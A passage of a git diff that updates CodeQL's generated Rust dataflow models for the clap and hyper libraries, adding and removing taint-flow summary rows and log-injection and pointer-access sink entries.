"Argument[self].Field[crate::error::Error::inner]", "ReturnValue.Field[crate::error::Error::inner]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::extend_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::format", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_message", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_cmd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_by_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::stream]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::fmt::Colorizer::color_when]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "Argument[self].Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] @@ -317,12 +330,12 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::deref", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches].Field[crate::parser::matches::arg_matches::ArgMatches::args]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches].Field[crate::parser::matches::arg_matches::ArgMatches::args]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::v]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::pending_arg_id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -359,6 +372,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "Argument[1]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::validator::Validator::cmd]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::util::any_value::AnyValue::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] @@ -376,9 +390,28 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_hint", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::_panic_on_missing_help", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_group", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_subcommand", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::wrap", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_required_usage_from", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::contains_id", "Argument[0]", "log-injection", "df-generated"] @@ -390,5 +423,20 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw_occurrences", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_clear_id", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_many", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_occurrences", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_one", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::check_explicit", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_entry", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::sort_by_key", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml index b9a0f77c4ed..877a73088d0 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml @@ -12,6 +12,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::add_prefix", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml index 4397f956fcf..ebcb8bb114b 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml @@ -6,9 +6,9 @@ extensions: data: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::lit_str_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::cased_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::casing", "Argument[self].Field[crate::item::Item::casing]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::env_casing", "Argument[self].Field[crate::item::Item::env_casing]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] @@ -24,9 +24,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::id", "Argument[self].Field[crate::item::Item::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::is_positional", "Argument[self].Field[crate::item::Item::is_positional]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::skip_group", "Argument[self].Field[crate::item::Item::skip_group]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::args", "Argument[self].Field[crate::item::Method::args]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -42,14 +40,16 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::span", "Argument[self].Field[crate::utils::spanned::Sp::span]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::utils::ty::inner_type", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml index 3e30d66ced4..eb2472e5765 100644 --- a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml +++ b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml @@ -4,12 +4,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/hyperium/hyper:hyper", "<_ as crate::ffi::task::IntoDynTaskType>::into_dyn_task_type", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ffi_mut", "Argument[self].Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::Ffi(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[0]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::recv]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[1]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::content_length]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[2]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::ping]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::checked_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue", "value", "dfc-generated"] @@ -77,23 +78,25 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch].Field[crate::client::dispatch::UnboundedSender::inner]", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch].Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch].Reference", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch]", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::unbound", "Argument[self].Field[crate::client::dispatch::Sender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_error", "Argument[self].Field[crate::client::dispatch::TrySendError::error]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::giver].Reference", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::giver]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::inner].Reference", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::compat::Compat(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[1]", "ReturnValue.Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::rewind", "Argument[0]", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Configured(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Default(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ext::Protocol::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::ext::Protocol::inner]", "ReturnValue", "value", "dfc-generated"] @@ -102,8 +105,10 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::wrap", "Argument[0]", "ReturnValue.Field[crate::ffi::http_types::hyper_response(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::boxed", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::pending_upgrade", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::upgrade]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_flush_pipeline", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::flush_pipeline]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::set_h1_parser_config", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::h1_parser_config]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::set_timer", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::timer]", "value", 